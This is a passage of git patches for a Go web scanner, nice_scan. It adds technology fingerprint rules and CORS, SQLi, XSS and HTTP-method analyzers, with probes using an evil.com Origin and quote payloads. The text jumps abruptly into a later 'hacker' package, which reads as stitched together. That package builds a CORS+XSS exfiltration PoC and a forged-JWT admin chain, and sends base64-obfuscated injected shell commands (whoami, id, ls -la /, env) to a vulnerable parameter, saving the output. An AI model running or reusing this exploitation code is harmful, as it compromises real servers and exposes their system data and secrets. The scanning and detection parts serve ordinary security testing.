Category: "Headless CMS", + Confidence: 0.75, + HTML: html(`contentful\.com`, `ctfassets\.net`), + }, + { + Name: "Strapi", Type: "cms", Category: "Headless CMS", + Confidence: 0.8, + Headers: hdr("X-Powered-By", `(?i)Strapi`), + }, + { + Name: "Ghost", Type: "cms", Category: "Blogging Platform", + Confidence: 0.85, + HTML: html(`Ghost`, `ghost\.io`), + }, + { + Name: "Sitecore", Type: "cms", Category: "CMS", + Confidence: 0.7, + Headers: hdr("X-Sitecore|X-Client-Referrer", `.+`), + }, + { + Name: "Adobe Experience Manager", Type: "cms", Category: "CMS", + Confidence: 0.7, + Headers: hdr("Server|X-Powered-By", `(?i)AEM|Day\s?Software`), + }, + { + Name: "DNN (DotNetNuke)", Type: "cms", Category: "CMS", + Confidence: 0.7, + HTML: html(`DNNPlatform|DotNetNuke`), + Cookies: cook(".DNN|DotNetNukeAnonymous", `.+`), + }, + { + Name: "PrestaShop", Type: "cms", Category: "E-commerce", + Confidence: 0.7, + HTML: html(`PrestaShop`, `/themes/prestashop`), + }, + { + Name: "OpenCart", Type: "cms", Category: "E-commerce", + Confidence: 0.65, + HTML: html(`OpenCart`, `route=common/home`), + }, + + // ────────────────────────────────────────────────── + // CLOUD PROVIDERS + // ────────────────────────────────────────────────── + + { + Name: "Amazon Web Services", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.8, + Headers: merge(hdr("x-amz-request-id", `.+`), hdr("x-amz-id-2", `.+`)), + }, + { + Name: "Google Cloud Platform", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.75, + Headers: hdr("Via|X-Cloud-Trace-Context", `(?i)google`), + }, + { + Name: "Microsoft Azure", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.75, + Headers: hdr("X-Azure-Ref|X-Azure-RequestId|X-MS-RequestId", `.+`), + }, + { + Name: "Oracle Cloud", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.6, + Headers: hdr("Server", `(?i)Oracle`), + }, + { + Name: "IBM Cloud", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.5, + Headers: hdr("X-Backside|X-Global-Transaction-ID", `.+`), + }, + { + Name: "DigitalOcean", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.6, + Headers: hdr("Server", `(?i)DigitalOcean`), + }, + { + Name: "Vultr", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.4, + HTML: html(`vultr\.com`), + }, + { + Name: "Hetzner", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.5, + Headers: hdr("Server", `(?i)Hetzner`), + }, + { + Name: "OVHcloud", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.5, + Headers: hdr("Server|X-OVH", `(?i)OVH`), + }, + { + Name: "Linode", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.4, + Headers: hdr("Server", `(?i)Linode`), + }, + { + Name: "Alibaba Cloud", Type: "cloud", Category: "Cloud Provider", + Confidence: 0.6, + Headers: hdr("Server|X-Alibaba", `(?i)Alibaba`), + }, + + // ────────────────────────────────────────────────── + // DATABASES & DATA STORES + // ────────────────────────────────────────────────── + + { + Name: "MySQL", Type: "database", Category: "Database", + Confidence: 0.5, + HTML: html(`(?i)mysql`, `SQL\s+error`), + }, + { + Name: "PostgreSQL", Type: "database", Category: "Database", + Confidence: 0.5, + HTML: html(`(?i)postgresql`, `PostgreSQL`), + }, + { + Name: "MongoDB", Type: "database", Category: "NoSQL Database", + Confidence: 0.5, + HTML: html(`(?i)mongodb`, `MongoDB`), + }, + { + Name: "Redis", Type: "database", Category: "In-Memory Store", + Confidence: 0.5, + HTML: html(`(?i)redis`), + }, + { + Name: "Elasticsearch", Type: "database", Category: "Search Engine", + Confidence: 0.6, + URL: one(`/_search|/_cat|/_cluster`), + }, + { + Name: "Cassandra", Type: "database", Category: "NoSQL Database", + Confidence: 0.4, + HTML: html(`(?i)cassandra`), + }, + { + Name: "MariaDB", Type: "database", Category: "Database", + Confidence: 0.5, + Headers: hdr("Server", `(?i)MariaDB`), + }, + + // ────────────────────────────────────────────────── + // ANALYTICS & MONITORING + // ────────────────────────────────────────────────── + + { + Name: "Google Analytics", Type: "analytics", Category: "Analytics", + Confidence: 0.9, + Script: html(`google-analytics\.com/analytics\.js`, `googletagmanager\.com/gtag/js`, `ga\s*\(|gtag\s*\(`), + }, + { + Name: "Google Tag Manager", Type: "analytics", Category: "Tag Manager", + Confidence: 0.9, + Script: html(`googletagmanager\.com/gtm\.js`), + }, + { + Name: "Hotjar", Type: "analytics", Category: "Analytics", + Confidence: 0.85, + Script: html(`hotjar\.com`, `_hjSettings|hjSettings`), + }, + { + Name: "Mixpanel", Type: "analytics", Category: "Analytics", + Confidence: 0.8, + Script: html(`cdn\.mxpnl\.com`, `mixpanel\.init`), + }, + { + Name: "Amplitude", Type: "analytics", Category: "Analytics", + Confidence: 0.8, + Script: html(`amplitude\.com`, `amplitude\.init`), + }, + { + Name: "Segment", Type: "analytics", Category: "Analytics", + Confidence: 0.8, + Script: html(`cdn\.segment\.com`, `analytics\.load\s*\(`), + }, + { + Name: "Plausible", Type: "analytics", Category: "Analytics", + Confidence: 0.85, + Script: html(`plausible\.io`), + }, + { + Name: "Matomo (Piwik)", Type: "analytics", Category: "Analytics", + Confidence: 0.85, + Script: html(`matomo\.js`, `piwik\.js`, `_paq\.push`), + }, + { + Name: "Fullstory", Type: "analytics", Category: "Analytics", + Confidence: 0.8, + Script: html(`fullstory\.com`, `FS\(\)|_fs_`), + }, + { + Name: "Sentry", Type: "monitoring", Category: "Error Tracking", + Confidence: 0.85, + Script: html(`sentry\.min\.js`, `Sentry\.init`, `browser\.sentry\.cdn`), + }, + { + Name: "Datadog", Type: "monitoring", Category: "Monitoring", + Confidence: 0.8, + Headers: hdr("X-Datadog|DD-", `.+`), + Script: html(`datadog-rum\.js`, `DD_RUM`), + }, + { + Name: "New Relic", Type: "monitoring", Category: "Monitoring", + Confidence: 0.85, + Script: html(`newrelic\.com`, `NREUM`), + }, + { + Name: "Grafana", Type: "monitoring", Category: "Monitoring", + Confidence: 0.7, + Headers: hdr("X-Grafana-", `.+`), + URL: one(`/grafana/|/grafana`), + }, + { + Name: "Prometheus", Type: "monitoring", Category: "Monitoring", + Confidence: 0.75, + URL: one(`/metrics|/prometheus`), + }, + { + Name: "Heap", Type: "analytics", Category: "Analytics", + Confidence: 0.7, + Script: html(`heapanalytics\.com`, `heap\.load`), + }, + { + Name: "HubSpot", Type: "analytics", Category: "CRM/Analytics", + Confidence: 0.75, + Script: html(`js\.hs-scripts\.com`, `HubSpot`), + }, + + // ────────────────────────────────────────────────── + // JAVASCRIPT LIBRARIES + // ────────────────────────────────────────────────── + + { + Name: "jQuery", Type: "js_lib", Category: "JavaScript Library", + Confidence: 0.9, + Script: html(`jquery[.-]min\.js`, `jQuery\.|jquery`), + }, + { + Name: "Lodash", Type: "js_lib", Category: "JavaScript Library", + Confidence: 0.8, + Script: html(`lodash\.js`, `\.\_\.`), + }, + { + Name: "Moment.js", Type: "js_lib", Category: "JavaScript Library", + Confidence: 0.8, + Script: html(`moment\.js`, `moment\.min`), + }, + { + Name: "Axios", Type: "js_lib", Category: "HTTP Client", + Confidence: 0.7, + Script: html(`axios\.js`, `axios\.min`), + }, + { + Name: "D3.js", Type: "js_lib", Category: "Data Visualization", + Confidence: 0.85, + Script: html(`d3\.js`, `d3\.min`), + }, + { + Name: "Three.js", Type: "js_lib", Category: "3D Library", + Confidence: 0.85, + Script: html(`three\.js`, `three\.min`), + }, + { + Name: "Chart.js", Type: "js_lib", Category: "Charting Library", + Confidence: 0.85, + Script: html(`chart\.js`, `Chart\.min\.js`), + }, + { + Name: "Bootstrap", Type: "css_lib", Category: "CSS Framework", + Confidence: 0.9, + HTML: html(`bootstrap\.min\.css`, `bootstrap\.css`, `bootstrap\.bundle`), + }, + { + Name: "Tailwind CSS", Type: "css_lib", Category: "CSS Framework", + Confidence: 0.9, + HTML: html(`tailwindcss`, `tw-`, `tailwind\.min\.css`), + }, + { + Name: "Material UI", Type: "css_lib", Category: "React UI Library", + Confidence: 0.75, + HTML: html(`Mui`, `material-ui`, `@mui`), + }, + { + Name: "Font Awesome", Type: "js_lib", Category: "Icon Library", + Confidence: 0.85, + HTML: html(`font-awesome`, `fa[srldb]?\s+fa-`, `fontawesome\.com`), + }, + + // ────────────────────────────────────────────────── + // PROXIES & LOAD BALANCERS + // ────────────────────────────────────────────────── + + { + Name: "Varnish", Type: "proxy", Category: "HTTP Cache", + Confidence: 0.8, + Headers: hdr("X-Varnish|Via", `(?i)varnish`), + }, + { + Name: "Squid", Type: "proxy", Category: "Forward Proxy", + Confidence: 0.7, + Headers: hdr("Server|X-Squid", `(?i)squid`), + }, + { + Name: "F5 BIG-IP", Type: "proxy", Category: "Load Balancer", + Confidence: 0.8, + Headers: hdr("X-BIG-IP|X-F5", `.+`), + }, + { + Name: "AWS ELB", Type: "proxy", Category: "Load Balancer", + Confidence: 0.7, + Headers: hdr("Server", `(?i)awselb`), + }, + { + Name: "Citrix ADC (NetScaler)", Type: "proxy", Category: "Load Balancer", + Confidence: 0.7, + Headers: hdr("X-NetScaler|Via", `(?i)NetScaler`), + }, + + // ────────────────────────────────────────────────── + // API & PROTOCOL + // ────────────────────────────────────────────────── + + { + Name: "GraphQL", Type: "api", Category: "API Protocol", + Confidence: 0.8, + URL: one(`/graphql|/gql`), + HTML: html(`graphql`), + }, + { + Name: "REST API", Type: "api", Category: "API Protocol", + Confidence: 0.6, + URL: one(`/api/v[12]|/rest/`), + }, + { + Name: "WebSocket", Type: "protocol", Category: "Protocol", + Confidence: 0.7, + Headers: hdr("Upgrade|Sec-WebSocket-Version", `(?i)websocket`), + }, + { + Name: "gRPC", Type: "protocol", Category: "RPC Framework", + Confidence: 0.6, + Headers: hdr("Content-Type", `application/grpc`), + }, + { + Name: "JSON API", Type: "api", Category: "API Format", + Confidence: 0.5, + Headers: hdr("Content-Type", `application/vnd\.api\+json`), + }, + + // ────────────────────────────────────────────────── + // SECURITY TOOLS + // ────────────────────────────────────────────────── + + { + Name: "Let's Encrypt", Type: "certificate", Category: "TLS Certificate", + Confidence: 0.9, + Headers: hdr("X-Certificate-Info|Server", `(?i)Let'?s Encrypt`), + }, + { + Name: "reCAPTCHA", Type: "security", Category: "Bot Protection", + Confidence: 0.9, + Script: html(`google\.com/recaptcha`, `g-recaptcha`), + }, + { + Name: "hCaptcha", Type: "security", Category: "Bot Protection", + Confidence: 0.85, + Script: html(`hcaptcha\.com`, `h-captcha`), + }, + { + Name: "Auth0", Type: "auth", Category: "Authentication", + Confidence: 0.8, + Script: html(`auth0\.com`, `auth0\.js`), + }, + { + Name: "Okta", Type: "auth", Category: "Authentication", + Confidence: 0.7, + Headers: hdr("X-Okta-", `.+`), + URL: one(`/oauth2/default`), + }, + { + Name: "Firebase Auth", Type: "auth", Category: "Authentication", + Confidence: 0.8, + Script: html(`firebase\.js|firebase-app\.js`, `__FIREBASE`), + }, + { + Name: "Clerk", Type: "auth", Category: "Authentication", + Confidence: 0.7, + Script: html(`clerk\.js`, `__CLERK`), + }, + } +} + +func merge[T any](a, b map[string]T) map[string]T { + for k, v := range b { + a[k] = v + } + return a +} diff --git a/internal/output/terminal.go b/internal/output/terminal.go index 7663185..9251c46 100644 --- a/internal/output/terminal.go +++ b/internal/output/terminal.go @@ -282,10 +282,32 @@ func (r *TerminalRenderer) renderSeverityGroup(sev types.Severity, findings []ty } func (r *TerminalRenderer) renderFinding(f types.Finding, color lipgloss.Color) { - name := lipgloss.NewStyle(). - Foreground(textPrimary). - Padding(0, 0, 0, 4). - Render(f.Name) + var version string + if f.Metadata != nil { + version = f.Metadata["version"] + } + + name := f.Name + if version != "" { + name = lipgloss.NewStyle(). + Foreground(textPrimary). + Padding(0, 0, 0, 4). + Render(f.Name) + + ver := lipgloss.NewStyle(). + Foreground(accentCyan). + Padding(0, 0, 0, 4). + Render(version) + + fmt.Fprintln(os.Stdout, name) + fmt.Fprintln(os.Stdout, ver) + } else { + name = lipgloss.NewStyle(). + Foreground(textPrimary). + Padding(0, 0, 0, 4). + Render(f.Name) + fmt.Fprintln(os.Stdout, name) + } var desc string if f.Evidence != "" { @@ -300,7 +322,6 @@ func (r *TerminalRenderer) renderFinding(f types.Finding, color lipgloss.Color) Padding(0, 0, 0, 4). Render(fmt.Sprintf("%.0f%% confidence", f.Confidence*100)) - fmt.Fprintln(os.Stdout, name) if desc != "" { fmt.Fprintln(os.Stdout, desc) } diff --git a/internal/shell/model.go b/internal/shell/model.go index dde6367..5039582 100644 --- a/internal/shell/model.go +++ b/internal/shell/model.go @@ -393,6 +393,12 @@ func (m *Model) renderFindings(findings []types.Finding, stats engine.ScanStats) for _, f := range group { name := lipgloss.NewStyle().Foreground(clName).Padding(0, 4).Render(f.Name) lines = append(lines, name) + if f.Metadata != nil { + if v, ok := f.Metadata["version"]; ok && v != "" { + ver := lipgloss.NewStyle().Foreground(clCyan).Padding(0, 6).Render(v) + lines = append(lines, ver) + } + } if f.Evidence != "" { ev := truncate(f.Evidence, 68) lines = append(lines, lipgloss.NewStyle().Foreground(clMuted).Padding(0, 4).Render(ev)) From f512ff3c5cb5f2a6a0cbffc400e81142cc718416 Mon Sep 17 00:00:00 2001 From: NICE-DEV226 Date: Tue, 26 May 2026 14:19:00 +0000 Subject: [PATCH 3/7] feat(engine): SQLi, XSS, CORS, HTTP Methods analyzers + active probes (29 reqs) --- cmd/nice_scan/main.go | 6 +- internal/engine/cors.go | 127 ++++++++++++++++++++++++++++++++++++ internal/engine/engine.go | 37 ++++++++++- internal/engine/methods.go | 87 +++++++++++++++++++++++++ internal/engine/sqli.go | 130 +++++++++++++++++++++++++++++++++++++ internal/engine/xss.go | 128 ++++++++++++++++++++++++++++++++++++ 6 files changed, 512 insertions(+), 3 deletions(-) create mode 100644 internal/engine/cors.go create mode 100644 internal/engine/methods.go create mode 100644 internal/engine/sqli.go create mode 100644 internal/engine/xss.go diff --git a/cmd/nice_scan/main.go b/cmd/nice_scan/main.go index 0b69ab0..bcfaf82 100644 --- a/cmd/nice_scan/main.go +++ b/cmd/nice_scan/main.go @@ -121,6 +121,10 @@ func scanCmd() *cobra.Command { engine.NewHeaderAnalyzer(), engine.NewTLSAnalyzer(), engine.NewExposureAnalyzer(), + engine.NewSQLiAnalyzer(), + engine.NewXSSAnalyzer(), + engine.NewCORSAnalyzer(), + engine.NewHTTPMethodsAnalyzer(), ) if interactive { @@ -232,7 +236,7 @@ func shellCmd() *cobra.Command { return err } defer model.Close() - p := tea.NewProgram(model, tea.WithAltScreen(), tea.WithMouseCellMotion()) + p := tea.NewProgram(model, tea.WithAltScreen()) if _, err := p.Run(); err != nil { return err } diff --git a/internal/engine/cors.go b/internal/engine/cors.go new file mode 100644 index 0000000..58b06bb --- /dev/null +++ b/internal/engine/cors.go @@ -0,0 +1,127 @@ +package engine + +import ( + "context" + "fmt" + "strings" + + "github.com/nice-scan/nice_scan/internal/types" +) + +type CORSAnalyzer struct{} + +func NewCORSAnalyzer() *CORSAnalyzer { + return &CORSAnalyzer{} +} + +func (a *CORSAnalyzer) Name() string { + return "cors" +} + +func (a *CORSAnalyzer) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil || resp.Headers == nil { + return nil + } + + var findings []types.Finding + + aco := resp.Headers.Get("Access-Control-Allow-Origin") + acac := resp.Headers.Get("Access-Control-Allow-Credentials") + acm := resp.Headers.Get("Access-Control-Allow-Methods") + ach := resp.Headers.Get("Access-Control-Allow-Headers") + + origin := resp.Headers.Get("Origin") + + if aco == "" { + return nil + } + + if aco == "*" && acac == "true" { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "Wildcard CORS with Credentials", + Severity: types.SeverityCritical, + Description: "CORS allows any origin (Access-Control-Allow-Origin: *) with credentials enabled — any website can read this resource on behalf of authenticated users", + Evidence: fmt.Sprintf("ACAO: * | ACAC: true"), + Confidence: 0.95, + Metadata: map[string]string{ + "aco": aco, + "acac": acac, + }, + }) + return findings + } + + if strings.Contains(aco, "*") && acac == "true" { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "Reflective CORS with Credentials", + Severity: types.SeverityCritical, + Description: "CORS reflects arbitrary origins with credentials enabled — potential data exfiltration", + Evidence: fmt.Sprintf("ACAO: %s | ACAC: %s", aco, acac), + Confidence: 0.85, + Metadata: map[string]string{ + "aco": aco, + "acac": acac, + }, + }) + return findings + } + + if aco == "*" { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "Wildcard CORS Origin", + Severity: types.SeverityMedium, + Description: "Access-Control-Allow-Origin is set to wildcard, allowing any domain to read responses", + Evidence: "ACAO: *", + Confidence: 0.9, + }) + } + + if strings.Contains(aco, origin) && origin != "" && acac == "true" { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "CORS Origin Reflection with Credentials", + Severity: types.SeverityHigh, + Description: "CORS header reflects the Origin value with credentials enabled", + Evidence: fmt.Sprintf("ACAO: %s | ACAC: true | Origin echoed", aco), + Confidence: 0.8, + }) + } + + if aco == "null" { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "CORS Null Origin Allowed", + Severity: types.SeverityHigh, + Description: "Access-Control-Allow-Origin: null — sandboxed iframes and data: URIs can read responses", + Evidence: "ACAO: null", + Confidence: 0.7, + }) + } + + if acm != "" && strings.Contains(acm, "PUT") { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "CORS Allows PUT Method", + Severity: types.SeverityLow, + Description: "CORS allows the PUT HTTP method via Access-Control-Allow-Methods", + Evidence: fmt.Sprintf("ACAO: %s | ACAM: %s", aco, acm), + Confidence: 0.6, + }) + } + + if ach != "" && strings.Contains(ach, "*") { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "CORS Wildcard Allowed Headers", + Severity: types.SeverityLow, + Description: "Access-Control-Allow-Headers contains wildcard allowing any custom header", + Evidence: fmt.Sprintf("ACAH: %s", ach), + Confidence: 0.5, + }) + } + + return findings +} diff --git a/internal/engine/engine.go b/internal/engine/engine.go index c0e4b49..87169f5 100644 --- a/internal/engine/engine.go +++ b/internal/engine/engine.go @@ -94,7 +94,7 @@ func (s *Scanner) buildProbes(target string) []*types.Request { return nil } - probes := []string{ + pathProbes := []string{ "/robots.txt", "/sitemap.xml", "/.env", @@ -106,7 +106,7 @@ func (s *Scanner) buildProbes(target string) []*types.Request { var reqs []*types.Request baseURL := target - for _, path := range probes { + for _, path := range pathProbes { reqs = append(reqs, &types.Request{ Method: "GET", URL: baseURL + path, @@ -114,6 +114,39 @@ func (s *Scanner) buildProbes(target string) []*types.Request { }) } + // CORS probes + reqs = append(reqs, &types.Request{ + Method: "GET", + URL: baseURL + "/", + Headers: map[string]string{"Origin": "https://evil.com"}, + Timeout: s.opts.Timeout, + }) + + // HTTP Methods probe + reqs = append(reqs, &types.Request{ + Method: "OPTIONS", + URL: baseURL + "/", + Timeout: s.opts.Timeout, + }) + + // SQLi probes — common parameter names + sqliParams := []string{"id", "q", "search", "page", "name", "user", "cat", "prod", "order", "pid"} + xssPayload := "" + sqliPayload := "1'" + + for _, p := range sqliParams { + reqs = append(reqs, &types.Request{ + Method: "GET", + URL: baseURL + "/?" + p + "=" + sqliPayload, + Timeout: s.opts.Timeout, + }) + reqs = append(reqs, &types.Request{ + Method: "GET", + URL: baseURL + "/?" + p + "=" + xssPayload, + Timeout: s.opts.Timeout, + }) + } + return reqs } diff --git a/internal/engine/methods.go b/internal/engine/methods.go new file mode 100644 index 0000000..ef5defd --- /dev/null +++ b/internal/engine/methods.go @@ -0,0 +1,87 @@ +package engine + +import ( + "context" + "fmt" + "strings" + + "github.com/nice-scan/nice_scan/internal/types" +) + +type HTTPMethodsAnalyzer struct{} + +func NewHTTPMethodsAnalyzer() *HTTPMethodsAnalyzer { + return &HTTPMethodsAnalyzer{} +} + +func (a *HTTPMethodsAnalyzer) Name() string { + return "http_methods" +} + +func (a *HTTPMethodsAnalyzer) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil { + return nil + } + + var findings []types.Finding + + allow := resp.Headers.Get("Allow") + if allow == "" { + allow = resp.Headers.Get("Public") + } + if allow == "" { + return nil + } + + allowed := strings.ToUpper(allow) + methods := strings.FieldsFunc(allowed, func(r rune) bool { + return r == ',' || r == ' ' + }) + + var risky []string + for _, m := range methods { + m = strings.TrimSpace(m) + switch m { + case "TRACE", "TRACK": + risky = append(risky, m+" (XST attack)") + case "PUT": + risky = append(risky, m+" (file upload)") + case "DELETE": + risky = append(risky, m+" (resource deletion)") + case "CONNECT": + risky = append(risky, m+" (tunneling)") + case "PATCH": + risky = append(risky, m+" (partial modify)") + } + } + + if len(risky) > 0 { + sev := types.SeverityMedium + if containsAny(allowed, "TRACE", "TRACK") { + sev = types.SeverityHigh + } + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "Risky HTTP Methods Enabled", + Severity: sev, + Description: "Server allows potentially dangerous HTTP methods", + Evidence: fmt.Sprintf("Allow: %s", allow), + Confidence: 0.9, + Metadata: map[string]string{ + "allowed": allow, + "risky": strings.Join(risky, ", "), + }, + }) + } + + return findings +} + +func containsAny(s string, subs ...string) bool { + for _, sub := range subs { + if strings.Contains(s, sub) { + return true + } + } + return false +} diff --git a/internal/engine/sqli.go b/internal/engine/sqli.go new file mode 100644 index 0000000..1a2886a --- /dev/null +++ b/internal/engine/sqli.go @@ -0,0 +1,130 @@ +package engine + +import ( + "context" + "fmt" + "regexp" + + "github.com/nice-scan/nice_scan/internal/types" +) + +var ( + dbErrorPatterns = []struct { + db string + pattern *regexp.Regexp + }{ + {"MySQL", regexp.MustCompile(`(?i)SQL\s+syntax.*?MySQL|You have an error in your SQL syntax|Warning.*?mysql_|MariaDB server|driver.*?mysql`)}, + {"PostgreSQL", regexp.MustCompile(`(?i)PostgreSQL|ERROR:\s+.*?pg_|driver.*?postgres|psql`)}, + {"MSSQL", regexp.MustCompile(`(?i)Microsoft\s+SQL\s+Server|Driver.*?SQL\s*Server|OLEDB|SQLServer|\[SQL Server\]`)}, + {"Oracle", regexp.MustCompile(`(?i)Oracle\s+Driver|ORA-[0-9]{5}|oracle\.jdbc`)}, + {"SQLite", regexp.MustCompile(`(?i)SQLite|sqlite_.*?\(|SQLITE_ERROR`)}, + {"DB2", regexp.MustCompile(`(?i)DB2|IBM\s+DB2|db2_\w+`)}, + {"HSQLDB", regexp.MustCompile(`(?i)HSQLDB|org\.hsqldb`)}, + {"Firebird", regexp.MustCompile(`(?i)Firebird|interbase`)}, + {"CockroachDB", regexp.MustCompile(`(?i)cockroach`)}, + {"Generic", regexp.MustCompile(`(?i)unclosed quotation mark|quot;|division by zero|pg_|mysqli_|sqlite_|odbc_`)}, + } + + sqliErrorIndicators = []*regexp.Regexp{ + regexp.MustCompile(`(?i)unclosed\s+quotation\s+mark`), + regexp.MustCompile(`(?i)unclosed\s+quote`), + regexp.MustCompile(`(?i)unexpected\s+end\s+of\s+SQL`), + regexp.MustCompile(`(?i)mysql_fetch|mysql_num_rows|mysql_query`), + regexp.MustCompile(`(?i)supplied\s+argument\s+is\s+not\s+a\s+valid`), + regexp.MustCompile(`(?i)Column\s+not\s+found`), + regexp.MustCompile(`(?i)Unknown\s+column`), + regexp.MustCompile(`(?i)Table\s+.*?doesn't\s+exist`), + regexp.MustCompile(`(?i)Syntax\s+error\s+in\s+string`), + regexp.MustCompile(`(?i)Warning.*?mysql_`), + regexp.MustCompile(`(?i)Conversion\s+failed`), + regexp.MustCompile(`(?i)Invalid\s+query\s+string`), + } +) + +type SQLiAnalyzer struct{} + +func NewSQLiAnalyzer() *SQLiAnalyzer { + return &SQLiAnalyzer{} +} + +func (a *SQLiAnalyzer) Name() string { + return "sqli" +} + +func (a *SQLiAnalyzer) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil || len(resp.Body) == 0 { + return nil + } + + var findings []types.Finding + body := string(resp.Body) + + for _, sq := range sqliErrorIndicators { + select { + case <-ctx.Done(): + return findings + default: + } + + if sq.MatchString(body) { + var matchedDB string + for _, db := range dbErrorPatterns { + if db.pattern.MatchString(body) { + matchedDB = db.db + break + } + } + if matchedDB == "" { + matchedDB = "Unknown" + } + + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("SQL Injection — %s", matchedDB), + Severity: types.SeverityCritical, + Description: fmt.Sprintf("Database error message detected indicating possible SQL injection — %s", matchedDB), + Evidence: fmt.Sprintf("DB Error: %s", extractSnippet(body, sq.String(), 80)), + Confidence: 0.85, + Metadata: map[string]string{ + "database": matchedDB, + "request_url": resp.RequestURL, + }, + }) + return findings + } + } + + for _, db := range dbErrorPatterns { + select { + case <-ctx.Done(): + return findings + default: + } + + if db.pattern.MatchString(body) { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("Database Information Disclosure — %s", db.db), + Severity: types.SeverityMedium, + Description: fmt.Sprintf("Response contains database fingerprint or error pattern indicating %s usage", db.db), + Evidence: fmt.Sprintf("Pattern: %s: %s", db.db, extractSnippet(body, db.pattern.String(), 80)), + Confidence: 0.6, + Metadata: map[string]string{ + "database": db.db, + "request_url": resp.RequestURL, + }, + }) + } + } + + return findings +} + +func hasAnyError(body string) bool { + for _, re := range sqliErrorIndicators { + if re.MatchString(body) { + return true + } + } + return false +} diff --git a/internal/engine/xss.go b/internal/engine/xss.go new file mode 100644 index 0000000..556feb8 --- /dev/null +++ b/internal/engine/xss.go @@ -0,0 +1,128 @@ +package engine + +import ( + "context" + "fmt" + "regexp" + "strings" + + "github.com/nice-scan/nice_scan/internal/types" +) + +var ( + rxXSSReflected = regexp.MustCompile(`(?i) + +` + + kb.AddSecret("CORS+XSS PoC generated — manual deployment required") + + findings := []Finding{ + { + Type: "chain_exploit_poc", + Name: "CORS+XSS Data Exfiltration — PoC Ready", + Severity: SevCritical, + Description: "Generate crafted HTML page that exfiltrates authenticated data via CORS + XSS", + Evidence: pocHTML[:300] + "...", + Details: map[string]string{"html": pocHTML}, + }, + } + return ActionResult{Findings: findings} +} + +type JWTAdminChainAction struct { + pattern ChainPattern +} + +func (a *JWTAdminChainAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Chain: JWT → Admin PWN", + Description: "Use forged JWT to access admin endpoints", + Priority: 1, + Requires: []string{"has_forged_jwt", "has_admin"}, + Provides: []string{}, + } +} + +func (a *JWTAdminChainAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + jwtToken := kb.Session.GetActiveJWT() + findings := []Finding{ + { + Type: "chain_exploit_jwt_admin", + Name: "JWT → Admin Access Chain", + Severity: SevCritical, + Description: fmt.Sprintf("Attempting admin access with forged JWT on %s", target), + Evidence: fmt.Sprintf("Token: %s", jwtToken), + }, + } + + if jwtToken != "" { + kb.Session.SetActiveJWT(jwtToken) + kb.AddCapability(Capability{ + Name: "has_admin_session", + Target: target, + }) + } + + return ActionResult{Findings: findings} +} diff --git a/internal/hacker/cmd_exploit.go b/internal/hacker/cmd_exploit.go new file mode 100644 index 0000000..5743ea5 --- /dev/null +++ b/internal/hacker/cmd_exploit.go @@ -0,0 +1,117 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type CMDShellAction struct { + vulnURL string + param string +} + +func (a *CMDShellAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "CMD Shell", + Description: "Execute commands and capture output — whoami, id, ls, ifconfig", + Priority: 71, + Requires: []string{}, + Provides: []string{"data_extracted", "has_rce"}, + } +} + +var cmdCommandsB64 = []struct { + name string + cmd string +}{ + {name: "whoami", cmd: "OyB3aG9hbWk="}, + {name: "id", cmd: "OyBpZA=="}, + {name: "uname", cmd: "OyB1bmFtZSAtYQ=="}, + {name: "pwd", cmd: "OyBwd2Q="}, + {name: "ls_root", cmd: "OyBscyAtbGEgLw=="}, + {name: "ls_var", cmd: "OyBscyAtbGEgL3Zhci93d3c="}, + {name: "ifconfig", cmd: "OyBpZmNvbmZpZw=="}, + {name: "netstat", cmd: "OyBuZXRzdGF0IC1hbnQ="}, + {name: "ps", cmd: "OyBwcyBhdXg="}, + {name: "env", cmd: "OyBlbnY="}, +} + +func (a *CMDShellAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var allOutput strings.Builder + allOutput.WriteString(fmt.Sprintf("CMD Shell Output\nURL: %s\nParam: %s\n", a.vulnURL, a.param)) + allOutput.WriteString(strings.Repeat("-", 50) + "\n") + + baseURL := a.vulnURL + if idx := strings.Index(baseURL, "?"); idx > 0 { + baseURL = baseURL[:idx] + } + + for _, cmd := range cmdCommandsB64 { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + cmdBytes, err := base64.StdEncoding.DecodeString(cmd.cmd) + if err != nil { + continue + } + cmdStr := string(cmdBytes) + + encodedCmd := strings.ReplaceAll(cmdStr, " ", "%20") + + testURL := fmt.Sprintf("%s?%s=%s", baseURL, a.param, encodedCmd) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if len(body) > 5 { + allOutput.WriteString(fmt.Sprintf("=== %s (%s) ===\n", cmd.name, cmdStr)) + allOutput.WriteString(body) + allOutput.WriteString("\n\n") + + savedPath := kb.ReportDir.Save("cmd_output", cmd.name+".txt", []byte(body)) + findings = append(findings, Finding{ + Type: "cmd_output", + Name: fmt.Sprintf("CMD: %s output captured", cmd.name), + Severity: SevCritical, + Description: 